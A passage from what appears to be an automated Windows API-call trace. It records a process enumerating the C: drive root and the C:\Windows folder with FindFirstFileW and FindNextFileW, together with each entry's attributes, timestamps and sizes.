out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb62d6190, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb62d6190, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0109.560] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0109.562] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbadba904, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbadba904, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0109.562] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x858b6c65, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x858b6c65, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x25588045, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0109.563] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x85289733, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x2dbfc137, ftLastAccessTime.dwHighDateTime=0x1d70505, ftLastWriteTime.dwLowDateTime=0x2dbfc137, ftLastWriteTime.dwHighDateTime=0x1d70505, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0109.563] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0109.563] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x40b942d, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x40b942d, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0109.563] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0109.563] FindClose (in: hFindFile=0x1b48f8b0 | out: hFindFile=0x1b48f8b0) returned 1 [0109.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0109.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0109.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0109.563] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0109.564] FindFirstFileW (in: lpFileName="C:\\Windows\\*" (normalized: "c:\\windows\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x40b942d, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x40b942d, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48fbb0 [0109.564] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x40b942d, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x40b942d, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.564] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x383caa7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x383caa7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="addins", cAlternateFileName="")) returned 1 [0109.564] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x40b942d, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x40b942d, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="appcompat", cAlternateFileName="APPCOM~1")) returned 1 [0109.564] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd313219, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPatch", cAlternateFileName="")) returned 1 [0109.565] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe79dd565, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe79dd565, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppReadiness", cAlternateFileName="APPREA~1")) returned 1 [0109.565] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd0c24960, ftLastAccessTime.dwHighDateTime=0x1d99d09, ftLastWriteTime.dwLowDateTime=0xd0c24960, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="assembly", cAlternateFileName="")) returned 1 [0109.565] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3888f58, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3888f58, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bcastdvr", cAlternateFileName="")) returned 1 [0109.565] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1425a437, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x1425a437, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x14280695, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bfsvc.exe", cAlternateFileName="")) returned 1 [0109.565] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ecfa42d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ecfa42d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitLockerDiscoveryVolumeContents", cAlternateFileName="BITLOC~1")) returned 1 [0109.565] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe111b6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xe111b6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0109.565] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x9012b7dc, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9012b7dc, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x6dc3532e, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstat.dat", cAlternateFileName="")) returned 1 [0109.566] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe111b6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe111b6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xe111b6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Branding", cAlternateFileName="")) returned 1 [0109.566] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388963fa, ftCreationTime.dwHighDateTime=0x1d112e2, ftLastAccessTime.dwLowDateTime=0xad4dd6e1, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xad4dd6e1, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CbsTemp", cAlternateFileName="")) returned 1 [0109.566] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a60a69, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd9a60a69, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd9a60a69, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSC", cAlternateFileName="")) returned 1 [0109.566] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe111b6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3b5dc04, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3b5dc04, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cursors", cAlternateFileName="")) returned 1 [0109.566] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe111b6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x87c914ec, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x87c914ec, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="debug", cAlternateFileName="")) returned 1 [0109.566] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xe111b6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3b5dc04, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3b5dc04, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopTileResources", cAlternateFileName="DESKTO~1")) returned 1 [0109.566] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xe37410, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9559687a, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x9559687a, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DevicesFlow", cAlternateFileName="DEVICE~1")) returned 1 [0109.567] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe37410, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe37410, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xe37410, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0109.567] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd3f8070, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xbd3f8070, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd3f8070, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigitalLocker", cAlternateFileName="DIGITA~1")) returned 1 [0109.567] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe5d667, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4022730, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x4022730, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloaded Program Files", cAlternateFileName="DOWNLO~1")) returned 1 [0109.567] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37f054c7, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37f054c7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaa4d45e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DtcInstall.log", cAlternateFileName="DTCINS~1.LOG")) returned 1 [0109.567] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xe5d667, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4022730, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x4022730, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELAMBKUP", cAlternateFileName="")) returned 1 [0109.567] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd3f8070, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xbd41e2a2, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd41e2a2, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0109.568] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220ad5e0, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x220ad5e0, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x220ad5e0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x44b550, dwReserved0=0x0, dwReserved1=0x0, cFileName="explorer.exe", cAlternateFileName="")) returned 1 [0109.568] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xe5d667, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc5710f87, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xc5710f87, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0109.568] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d667, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe5d667, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xe5d667, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Globalization", cAlternateFileName="GLOBAL~1")) returned 1 [0109.568] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d667, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd41e2a2, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd41e2a2, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0109.568] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x192f7b5f, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x192f7b5f, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x192f7b5f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpPane.exe", cAlternateFileName="")) returned 1 [0109.568] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1883d233, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x1883d233, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x1883d233, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="hh.exe", cAlternateFileName="")) returned 1 [0109.568] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe838c5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd44450f, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd44450f, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME", cAlternateFileName="")) returned 1 [0109.569] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xe838c5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5eeea3fc, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5eeea3fc, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImmersiveControlPanel", cAlternateFileName="IMMERS~1")) returned 1 [0109.569] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa31f8be1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xc079473d, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xc079473d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INF", cAlternateFileName="")) returned 1 [0109.569] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef5fd1, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xef5fd1, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xef5fd1, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfusedApps", cAlternateFileName="INFUSE~1")) returned 1 [0109.569] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef5fd1, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xef5fd1, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xef5fd1, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputMethod", cAlternateFileName="INPUTM~1")) returned 1 [0109.569] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xef5fd1, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf974ba53, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf974ba53, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0109.569] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef5fd1, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4d1939a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x4d1939a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="L2Schemas", cAlternateFileName="L2SCHE~1")) returned 1 [0109.570] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, 